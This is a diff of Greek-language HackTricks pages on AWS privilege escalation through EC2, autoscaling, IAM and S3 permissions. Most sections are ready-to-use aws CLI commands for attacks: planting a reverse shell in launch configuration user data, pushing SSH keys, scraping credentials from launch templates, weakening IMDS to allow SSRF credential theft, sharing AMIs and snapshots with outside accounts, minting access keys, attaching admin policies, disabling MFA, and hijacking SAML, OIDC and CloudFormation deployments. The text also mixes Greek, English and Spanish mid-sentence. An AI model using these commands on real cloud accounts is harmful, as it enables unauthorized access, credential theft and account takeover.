Ένας επιτιθέμενος με τα δικαιώματα **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** μπορεί να **create a Launch Configuration** με ένα **IAM Role** και ένα **rev shell** μέσα στο **user data**, στη συνέχεια να **create an autoscaling group** από αυτή τη config και να περιμένει το rev shell να **steal the IAM Role**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Πιθανός Αντίκτυπος:** Άμεσο privesc σε διαφορετικό EC2 role.
|
||||
**Potential Impact:** Άμεση privesc σε διαφορετικό EC2 ρόλο.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
Το σύνολο δικαιωμάτων **`ec2:CreateLaunchTemplate`** και **`autoscaling:CreateAutoScalingGroup`** **δεν επαρκεί για να escalate** privileges σε ένα IAM role γιατί για να επισυνάψετε τον ρόλο που ορίζεται στο Launch Configuration ή στο Launch Template **χρειάζεστε τα δικαιώματα `iam:PassRole` και `ec2:RunInstances`** (που είναι γνωστό privesc).
|
||||
Το σύνολο των permissions **`ec2:CreateLaunchTemplate`** και **`autoscaling:CreateAutoScalingGroup`** **δεν αρκεί για να escalate privileges** σε ένα IAM role γιατί για να επισυνάψετε το role που καθορίζεται στο Launch Configuration ή στο Launch Template **χρειάζεστε τις permissions `iam:PassRole`and `ec2:RunInstances`** (το οποίο είναι γνωστό privesc).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
Ένας επιτιθέμενος με το δικαίωμα **`ec2-instance-connect:SendSSHPublicKey`** μπορεί να προσθέσει ένα ssh key σε έναν χρήστη και να το χρησιμοποιήσει για να αποκτήσει πρόσβαση (αν έχει ssh πρόσβαση στο instance) ή για να escalate privileges.
|
||||
Ένας επιτιθέμενος με την permission **`ec2-instance-connect:SendSSHPublicKey`** μπορεί να προσθέσει ένα ssh key σε έναν χρήστη και να το χρησιμοποιήσει για να αποκτήσει πρόσβαση (αν έχει ssh access στο instance) ή για να escalate privileges.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Potential Impact:** Άμεσο privesc στις EC2 IAM roles που είναι συνδεδεμένες σε running instances.
|
||||
**Potential Impact:** Άμεση privesc στους EC2 IAM ρόλους που είναι επισυναπτόμενοι σε running instances.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** μπορεί να **προσθέσει ένα ssh key σε μια σειριακή σύνδεση**. Εάν η σειριακή πρόσβαση δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια **`ec2:EnableSerialConsoleAccess`** για να την ενεργοποιήσει.
|
||||
Ένας επιτιθέμενος με την άδεια **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** μπορεί να **προσθέσει ένα ssh key σε μια σειριακή σύνδεση**. Εάν η σειριακή πρόσβαση δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια **`ec2:EnableSerialConsoleAccess` για να την ενεργοποιήσει**.
|
||||
|
||||
Για να συνδεθεί στη σειριακή θύρα χρειάζεται επίσης **να γνωρίζει το username και το password ενός χρήστη** μέσα στη μηχανή.
|
||||
Για να συνδεθεί στη σειριακή θύρα πρέπει επίσης **να γνωρίζει το όνομα χρήστη και τον κωδικό πρόσβασης ενός χρήστη** μέσα στη μηχανή.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Αυτός ο τρόπος δεν είναι τόσο χρήσιμος για privesc καθώς χρειάζεται να γνωρίζεις ένα username και password για να το εκμεταλλευτείς.
|
||||
Αυτός ο τρόπος δεν είναι ιδιαίτερα χρήσιμος για privesc καθώς χρειάζεται να γνωρίζετε ένα username και password για να τον εκμεταλλευτείτε.
|
||||
|
||||
**Πιθανός Αντίκτυπος:** (Highly unprovable) Άμεσο privesc στα EC2 IAM roles attached σε running instances.
|
||||
**Potential Impact:** (Ιδιαίτερα δύσκολο να αποδειχθεί) Άμεσο privesc στα EC2 IAM roles που είναι συνδεδεμένα με running instances.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Επειδή τα launch templates έχουν versioning, ένας attacker με **`ec2:describe-launch-templates`** και **`ec2:describe-launch-template-versions`** permissions θα μπορούσε να τα εκμεταλλευτεί για να ανακαλύψει ευαίσθητες πληροφορίες, όπως credentials που υπάρχουν σε user data. Για να το πετύχει, το ακόλουθο script κάνει loop σε όλες τις versions των διαθέσιμων launch templates:
|
||||
Εφόσον τα launch templates διαθέτουν versioning, ένας attacker με **`ec2:describe-launch-templates`** και **`ec2:describe-launch-template-versions`** permissions θα μπορούσε να τα εκμεταλλευτεί για να ανακαλύψει ευαίσθητες πληροφορίες, όπως credentials που υπάρχουν στο user data. Για να το πετύχει αυτό, το ακόλουθο script διατρέχει όλες τις versions των διαθέσιμων launch templates:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -248,11 +248,11 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
Στις παραπάνω εντολές, παρόλο που καθορίζουμε συγκεκριμένα πρότυπα (`aws_|password|token|api`), μπορείτε να χρησιμοποιήσετε διαφορετικό regex για να αναζητήσετε άλλους τύπους ευαίσθητων πληροφοριών.
|
||||
Στις παραπάνω εντολές, παρόλο που καθορίζουμε ορισμένα πρότυπα (`aws_|password|token|api`), μπορείτε να χρησιμοποιήσετε ένα διαφορετικό regex για να αναζητήσετε άλλους τύπους ευαίσθητων πληροφοριών.
|
||||
|
||||
Υποθέτοντας ότι βρίσκουμε `aws_access_key_id` και `aws_secret_access_key`, μπορούμε να χρησιμοποιήσουμε αυτά τα διαπιστευτήρια για να αυθεντικοποιηθούμε στο AWS.
|
||||
Υποθέτοντας ότι βρούμε `aws_access_key_id` και `aws_secret_access_key`, μπορούμε να χρησιμοποιήσουμε αυτά τα credentials για authenticate στο AWS.
|
||||
|
||||
**Πιθανές Επιπτώσεις:** Άμεση privilege escalation σε IAM user(s).
|
||||
**Πιθανός Αντίκτυπος:** Direct privilege escalation to IAM user(s).
|
||||
|
||||
## Αναφορές
|
||||
|
||||
@@ -260,10 +260,10 @@ done
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
|
||||
|
||||
Ένας attacker με τη δυνατότητα να καλέσει `ec2:ModifyInstanceMetadataOptions` σε ένα victim EC2 instance μπορεί να εξασθενήσει τις IMDS προστασίες ενεργοποιώντας IMDSv1 (`HttpTokens=optional`) και αυξάνοντας το `HttpPutResponseHopLimit`. Αυτό καθιστά το instance metadata endpoint προσβάσιμο μέσω κοινών SSRF/proxy διαδρομών από εφαρμογές που τρέχουν στο instance. Εάν ο attacker μπορέσει να ενεργοποιήσει SSRF σε μια τέτοια εφαρμογή, μπορεί να ανακτήσει τα instance profile credentials και να pivot με αυτά.
|
||||
Ένας επιτιθέμενος με τη δυνατότητα να καλέσει `ec2:ModifyInstanceMetadataOptions` σε ένα θύμα EC2 instance μπορεί να εξασθενήσει τις IMDS προστασίες ενεργοποιώντας IMDSv1 (`HttpTokens=optional`) και αυξάνοντας το `HttpPutResponseHopLimit`. Αυτό κάνει το endpoint των instance metadata προσβάσιμο μέσω κοινών SSRF/proxy μονοπατιών από εφαρμογές που τρέχουν στο instance. Αν ο επιτιθέμενος καταφέρει να προκαλέσει SSRF σε μια τέτοια εφαρμογή, μπορεί να ανακτήσει τα instance profile credentials και να pivot με αυτά.
|
||||
|
||||
- Απαιτούμενα δικαιώματα: `ec2:ModifyInstanceMetadataOptions` στον στοχευόμενο instance (συν τη δυνατότητα να φτάσει/προκαλέσει SSRF στον host).
|
||||
- Στόχος πόρου: Το τρέχον EC2 instance με επισυναπτόμενο instance profile (IAM role).
|
||||
- Απαιτούμενα δικαιώματα: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
|
||||
- Στόχος: Το τρέχον EC2 instance με συνδεδεμένο instance profile (IAM role).
|
||||
|
||||
Παράδειγμα εντολών:
|
||||
```bash
|
||||
@@ -292,5 +292,28 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
Πιθανός Αντίκτυπος: Κλοπή των instance profile credentials μέσω SSRF, με αποτέλεσμα privilege escalation και lateral movement χρησιμοποιώντας τα EC2 role permissions.
|
||||
Πιθανός αντίκτυπος: Κλοπή των instance profile credentials μέσω SSRF, οδηγώντας σε privilege escalation και lateral movement με τα EC2 role permissions.
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
Ένας επιτιθέμενος με το ec2:ModifyInstanceMetadataOptions permission μπορεί να αποδυναμώσει τις προστασίες του Instance Metadata Service (IMDS) — για παράδειγμα αναγκάζοντας IMDSv1 (κάνοντας τα HttpTokens μη υποχρεωτικά) ή αυξάνοντας το HttpPutResponseHopLimit — διευκολύνοντας έτσι την exfiltration προσωρινών credentials. Ο πιο σχετικός φορέας κινδύνου είναι η αύξηση του HttpPutResponseHopLimit: με την αύξηση αυτού του hop limit (TTL), το endpoint 169.254.169.254 παύει να περιορίζεται αυστηρά στο network namespace της VM και μπορεί να γίνει προσβάσιμο από άλλες processes/containers, επιτρέποντας την κλοπή credentials.
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
--http-tokens optional \
|
||||
--http-endpoint enabled \
|
||||
--http-put-response-hop-limit 2
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
Ένας επιτιθέμενος που έχει τα δικαιώματα `ec2:ModifyImageAttribute` και `ec2:ModifySnapshotAttribute` μπορεί να μοιραστεί AMIs ή snapshots με άλλους AWS λογαριασμούς (ή ακόμη και να τα κάνει public), εκθέτοντας images ή volumes που μπορεί να περιέχουν ευαίσθητα δεδομένα όπως configurations, credentials, certificates ή backups. Με την τροποποίηση των launch permissions ενός AMI ή των create-volume permissions ενός snapshot, ο επιτιθέμενος επιτρέπει σε τρίτους να launch instances ή να mount disks από αυτούς τους πόρους και να αποκτήσουν πρόσβαση στο περιεχόμενό τους.
|
||||
|
||||
Για να μοιραστείτε ένα AMI με άλλο λογαριασμό:
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
Για να μοιραστείτε ένα EBS snapshot με άλλο account:
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+64
-37
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με το IAM, δείτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με το IAM δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,9 +12,9 @@
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Παρέχει τη δυνατότητα δημιουργίας νέας έκδοσης policy του IAM, παρακάμπτοντας την ανάγκη για την άδεια `iam:SetDefaultPolicyVersion` με τη χρήση της επιλογής `--set-as-default`. Αυτό επιτρέπει τον ορισμό προσαρμοσμένων δικαιωμάτων.
|
||||
Παρέχει τη δυνατότητα δημιουργίας νέας έκδοσης policy του IAM, παρακάμπτοντας την ανάγκη για το δικαίωμα `iam:SetDefaultPolicyVersion` με τη χρήση της σημαίας `--set-as-default`. Αυτό επιτρέπει τον ορισμό προσαρμοσμένων δικαιωμάτων.
|
||||
|
||||
**Εντολή Εκμετάλλευσης:**
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
@@ -23,27 +23,27 @@ aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας IAM policy σε άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα προνόμια εάν η νέα έκδοση έχει περισσότερα δικαιώματα.
|
||||
Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας IAM policy σε άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα προνόμια αν η νέα έκδοση έχει περισσότερα δικαιώματα.
|
||||
|
||||
**Εντολή Bash:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Επίδραση:** Έμμεση κλιμάκωση προνομίων μέσω παροχής επιπλέον δικαιωμάτων.
|
||||
**Επίπτωση:** Έμμεση privilege escalation επιτρέποντας περισσότερα δικαιώματα.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, οδηγώντας σε πιθανή κλιμάκωση προνομίων.
|
||||
Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, οδηγώντας σε πιθανή privilege escalation.
|
||||
|
||||
**Εκμετάλλευση:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων μέσω ανάληψης των εκτεταμένων δικαιωμάτων άλλου χρήστη.
|
||||
**Επίπτωση:** Άμεσο privilege escalation με την ανάληψη των εκτεταμένων δικαιωμάτων ενός άλλου χρήστη.
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Επιτρέπει τη δημιουργία ή ενημέρωση ενός προφίλ σύνδεσης, συμπεριλαμβανομένης της ρύθμισης κωδικών για σύνδεση στην κονσόλα AWS, οδηγώντας σε άμεση κλιμάκωση προνομίων.
|
||||
Επιτρέπει τη δημιουργία ή ενημέρωση ενός login profile, συμπεριλαμβανομένης της ρύθμισης κωδικών για σύνδεση στο AWS console, οδηγώντας σε άμεσο privilege escalation.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
@@ -55,51 +55,51 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Επίπτωση:** Άμεση privilege escalation μέσω σύνδεσης ως "any" user.
|
||||
**Impact:** Άμεση κλιμάκωση προνομίων με σύνδεση ως "any" χρήστης.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου access key, που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση εάν ο attacker έχει στην κατοχή του το απενεργοποιημένο access key.
|
||||
Επιτρέπει την επανενεργοποίηση ενός απενεργοποιημένου κλειδιού πρόσβασης, κάτι που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση εάν ο attacker κατέχει το απενεργοποιημένο κλειδί.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Επίδραση:** Άμεση κλιμάκωση προνομίων με την επανενεργοποίηση access keys.
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων μέσω επανενεργοποίησης των access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Επιτρέπει τη δημιουργία ή επαναφορά διαπιστευτηρίων για συγκεκριμένες υπηρεσίες AWS (π.χ., CodeCommit, Amazon Keyspaces), κληρονομώντας τα δικαιώματα του σχετιζόμενου χρήστη.
|
||||
Επιτρέπει τη δημιουργία ή την επαναφορά των credentials για συγκεκριμένες AWS υπηρεσίες (π.χ., CodeCommit, Amazon Keyspaces), κληρονομώντας τα permissions του συσχετισμένου χρήστη.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
**Εκμετάλλευση για Επαναφορά:**
|
||||
**Exploit για Reset:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων εντός των δικαιωμάτων του χρήστη στην υπηρεσία.
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων εντός των δικαιωμάτων υπηρεσίας του χρήστη.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Επιτρέπει την επισύναψη policies σε χρήστες ή ομάδες, κλιμακώνοντας άμεσα τα προνόμια μέσω της κληρονομίας των δικαιωμάτων της επισυναπτόμενης policy.
|
||||
Επιτρέπει την επισύναψη policies σε χρήστες ή ομάδες, κλιμακώνοντας άμεσα τα προνόμια μέσω κληρονόμησης των δικαιωμάτων της επισυναπτόμενης policy.
|
||||
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit για Ομάδα:**
|
||||
**Exploit για Group:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων σε οτιδήποτε επιτρέπει η πολιτική.
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων σε οτιδήποτε χορηγεί η πολιτική.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Επιτρέπει την επισύναψη ή την τοποθέτηση πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας άμεση κλιμάκωση προνομίων με τη χορήγηση επιπλέον δικαιωμάτων.
|
||||
Επιτρέπει την επισύναψη ή την προσθήκη πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας άμεση κλιμάκωση προνομίων μέσω χορήγησης επιπλέον δικαιωμάτων.
|
||||
|
||||
**Εκμετάλλευση για ρόλο:**
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -127,13 +127,13 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
]
|
||||
}
|
||||
```
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων με την προσθήκη δικαιωμάτων μέσω πολιτικών.
|
||||
**Επίπτωση:** Άμεση ανύψωση προνομίων με την προσθήκη δικαιωμάτων μέσω πολιτικών.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Επιτρέπει να προσθέσει τον εαυτό του σε μια ομάδα IAM, κλιμακώνοντας τα προνόμια μέσω της κληρονομίας των δικαιωμάτων της ομάδας.
|
||||
Επιτρέπει την προσθήκη του εαυτού σε μια ομάδα IAM, κλιμακώνοντας τα προνόμια μέσω κληρονόμησης των δικαιωμάτων της ομάδας.
|
||||
|
||||
**Εκμετάλλευση:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
@@ -141,14 +141,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Επιτρέπει την τροποποίηση του assume role policy document ενός role, επιτρέποντας την ανάληψη του role και των αντίστοιχων δικαιωμάτων του.
|
||||
Επιτρέπει την τροποποίηση του assume role policy document ενός role, επιτρέποντας την ανάληψη του role και των συνδεδεμένων δικαιωμάτων του.
|
||||
|
||||
**Exploit:**
|
||||
**Εκμετάλλευση:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Όταν η πολιτική έχει την εξής μορφή, η οποία δίνει στον χρήστη την άδεια να αναλάβει τον ρόλο:
|
||||
Όταν η πολιτική έχει την παρακάτω μορφή, που δίνει στον χρήστη την άδεια να αναλάβει τον ρόλο:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,38 +163,38 @@ aws iam update-assume-role-policy --role-name <role_name> \
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** Άμεση κλιμάκωση προνομίων με την ανάληψη των δικαιωμάτων οποιουδήποτε ρόλου.
|
||||
**Impact:** Άμεση privilege escalation με την ανάληψη των δικαιωμάτων οποιουδήποτε role.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Επιτρέπει την αποστολή δημόσιου κλειδιού SSH για αυθεντικοποίηση στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση κλιμάκωση προνομίων.
|
||||
Επιτρέπει το ανέβασμα δημόσιου κλειδιού SSH για πιστοποίηση στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση privilege escalation.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit για την απενεργοποίηση του MFA:**
|
||||
**Exploit για απενεργοποίηση MFA:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Impact:** Έμμεση κλιμάκωση προνομίων με την ενεργοποίηση πρόσβασης σε CodeCommit ή την απενεργοποίηση της προστασίας MFA.
|
||||
**Επίπτωση:** Έμμεση κλιμάκωση προνομίων μέσω ενεργοποίησης πρόσβασης στο CodeCommit ή απενεργοποίησης της προστασίας MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Επιτρέπει τον επανασυγχρονισμό μιας συσκευής MFA, ενδεχομένως οδηγώντας σε έμμεση κλιμάκωση προνομίων μέσω χειρισμού της προστασίας MFA.
|
||||
|
||||
**Εντολή Bash:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Επίπτωση:** Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό συσκευών MFA.
|
||||
**Impact:** Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό συσκευών MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Με αυτά τα δικαιώματα μπορείτε να **αλλάξετε τα XML μεταδεδομένα της SAML σύνδεσης**. Στη συνέχεια, μπορείτε να καταχραστείτε τη **SAML federation** για να **login** με οποιοδήποτε **role που την εμπιστεύεται**.
|
||||
Με αυτά τα δικαιώματα μπορείτε να **αλλάξετε τα XML μεταδεδομένα της SAML σύνδεσης**. Στη συνέχεια, μπορείτε να καταχραστείτε την **SAML federation** για να **login** με οποιοδήποτε **role που την εμπιστεύεται**.
|
||||
|
||||
Σημειώστε ότι κάνοντας αυτό **legit users won't be able to login**. Ωστόσο, μπορείτε να αποκτήσετε το XML, να το αντικαταστήσετε με το δικό σας, να κάνετε login και να επαναφέρετε τα προηγούμενα.
|
||||
Note ότι κάνοντας αυτό **legit users won't be able to login**. Ωστόσο, μπορείτε να αποκτήσετε το XML, οπότε μπορείτε να τοποθετήσετε το δικό σας, να login και να επαναφέρετε την προηγούμενη ρύθμιση.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: Ένα εργαλείο ικανό να δημιουργεί το SAML metadata και να κάνει login με ένα συγκεκριμένο role
|
||||
> TODO: Ένα Tool ικανό να δημιουργήσει το SAML metadata και να κάνει login με ένα συγκεκριμένο role
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Δεν είμαι σίγουρος για αυτό) Εάν ένας επιτιθέμενος έχει αυτές τις **permissions**, μπορεί να προσθέσει ένα νέο **Thumbprint** και να καταφέρει να κάνει login σε όλους τους roles που εμπιστεύονται τον provider.
|
||||
(Δεν είμαι σίγουρος γι' αυτό) Αν ένας attacker έχει αυτές τις **permissions** θα μπορούσε να προσθέσει ένα νέο **Thumbprint** και να καταφέρει να κάνει login σε όλους τους **roles** που εμπιστεύονται τον **provider**.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Αυτό το permissions επιτρέπει σε έναν attacker να ενημερώσει το permissions boundary ενός user, ενδεχομένως escalating τα privileges του, επιτρέποντάς του να πραγματοποιήσει actions που κανονικά περιορίζονται από τα existing permissions του.
|
||||
Αυτή η άδεια επιτρέπει σε έναν επιτιθέμενο να ενημερώσει το permissions boundary ενός χρήστη, ενδεχομένως να αυξήσει τα προνόμιά του, επιτρέποντάς του να εκτελέσει ενέργειες που κανονικά περιορίζονται από τα υπάρχοντα δικαιώματά του.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
|
||||
|
||||
Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
|
||||
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BoundaryAllowAll",
|
||||
"Effect": "Allow",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Ένας χρήστης με iam:PutRolePermissionsBoundary μπορεί να ορίσει ένα permissions boundary σε έναν υπάρχον role. Ο κίνδυνος προκύπτει όταν κάποιος με αυτή την άδεια αλλάξει το boundary ενός role: μπορεί να περιορίσει ακατάλληλα τις λειτουργίες (προκαλώντας διακοπή υπηρεσίας) ή, αν επισυνάψει ένα permissive boundary, ουσιαστικά να επεκτείνει τι μπορεί να κάνει το role και να κλιμακώσει τα προνόμια.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
+34
-14
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
Ένας attacker με αυτές τις permissions πάνω σε ενδιαφέροντα buckets μπορεί να hijack resources και να escalate privileges.
|
||||
Ένας attacker με αυτά τα permissions πάνω σε ενδιαφέροντα buckets μπορεί να μπορέσει να hijack resources και να escalate privileges.
|
||||
|
||||
Για παράδειγμα, ένας attacker με αυτές τις **permissions over a cloudformation bucket** που ονομάζεται "cf-templates-nohnwfax6a6i-us-east-1" θα μπορεί να hijack το deployment. Η πρόσβαση μπορεί να δοθεί με την ακόλουθη policy:
|
||||
Για παράδειγμα, ένας attacker με αυτά τα **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" θα μπορεί να hijack το deployment. Η access μπορεί να δοθεί με την ακόλουθη policy:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,27 +34,27 @@
|
||||
]
|
||||
}
|
||||
```
|
||||
And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
|
||||
